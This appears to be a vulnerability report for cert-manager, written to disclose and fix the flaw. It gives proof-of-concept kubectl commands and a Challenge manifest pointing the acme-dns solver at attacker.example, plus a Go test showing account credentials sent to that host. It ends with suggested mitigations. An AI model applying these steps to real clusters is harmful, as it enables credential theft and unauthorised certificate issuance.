Details
echo "bob create challenges: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)"
echo "bob get cert-manager secret: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)"
echo "bob get clusterissuer: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)"
echo "ClusterIssuer solver policy: $(docker exec "$name" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{" "}{.spec.acme.solvers[0].dns01.acmeDNS.host}')"
docker exec -i "$name" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML'
apiVersion: acme.cert-manager.io/v1
kind: Challenge
metadata:
name: direct-dns01
spec:
authorizationURL: https://attacker.example/acme/authz/1
dnsName: victim.example.com
issuerRef:
group: cert-manager.io
kind: ClusterIssuer
name: cluster-prod
key: attacker-key
token: attacker-token
type: DNS-01
url: https://attacker.example/acme/chal/1
solver:
dns01:
acmeDNS:
host: https://attacker.example/acmedns
accountSecretRef:
name: cluster-acmedns-account
key: accounts.json
YAML
docker exec "$name" kubectl -n tenant get challenge direct-dns01 \
-o jsonpath='{.spec.issuerRef.kind}{" "}{.spec.dnsName}{" "}{.spec.solver.dns01.acmeDNS.host}{" "}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{"\n"}'
Expected output:
```text
bob create challenges: yes
bob get cert-manager secret: no
bob get clusterissuer: no
ClusterIssuer solver policy: victim.example.com https://legit-acmedns.example
challenge.acme.cert-manager.io/direct-dns01 created
ClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account
This proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer.
PoC B: acme-dns provider sends referenced credentials to the configured host
This self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers.
Run from repository root:
set -euo pipefail
cat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF'
package acmedns
import (
"context"
"net/http"
"net/http/httptest"
"testing"
)
func TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) {
var gotUser, gotKey, gotPath string
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotPath = r.URL.Path
gotUser = r.Header.Get("X-Api-User")
gotKey = r.Header.Get("X-Api-Key")
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`{"txt":"ok"}`))
}))
defer ts.Close()
accountJSON := []byte(`{
"victim.example.com": {
"username": "victim-user",
"password": "victim-pass",
"fulldomain": "x.example.org",
"subdomain": "x"
}
}`)
provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil)
if err != nil {
t.Fatal(err)
}
if err := provider.Present(context.Background(), "victim.example.com", "", "txt-value"); err != nil {
t.Fatal(err)
}
if gotPath != "/update" {
t.Fatalf("path = %q, want /update", gotPath)
}
if gotUser != "victim-user" {
t.Fatalf("X-Api-User = %q, want victim-user", gotUser)
}
if gotKey != "victim-pass" {
t.Fatalf("X-Api-Key = %q, want victim-pass", gotKey)
}
}
EOF
docker run --rm \
-v "$PWD":/repo \
-v /tmp/cert-manager-gomod-cache:/go/pkg/mod \
-v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \
-w /repo golang:1.26-bookworm \
go test ./pkg/issuer/acme/dns/acmedns \
-run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \
-count=1 -v
rm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go
Expected output:
=== RUN TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
--- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
Combined with PoC A and the code path in pkg/issuer/acme/dns/dns.go, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace.
Credential impact scope
The concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled host receives the X-Api-User and X-Api-Key values loaded from the referenced account JSON.
For other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC.
Expected behavior
Users should not be able to create standalone Challenge resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct Challenge resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer.
Actual behavior
A user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from issuerRef, and uses attacker-controlled provider settings.
Suggested remediation
Possible mitigations:
- Reject or ignore standalone user-created
Challengeresources unless the controller or admission layer can confirm an existing cert-manager-createdOrderthat owns the Challenge. - Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference.
- Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path.
- Move
ChallengeandOrdercreation permissions out of aggregateeditunless direct use is a supported security boundary. - Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.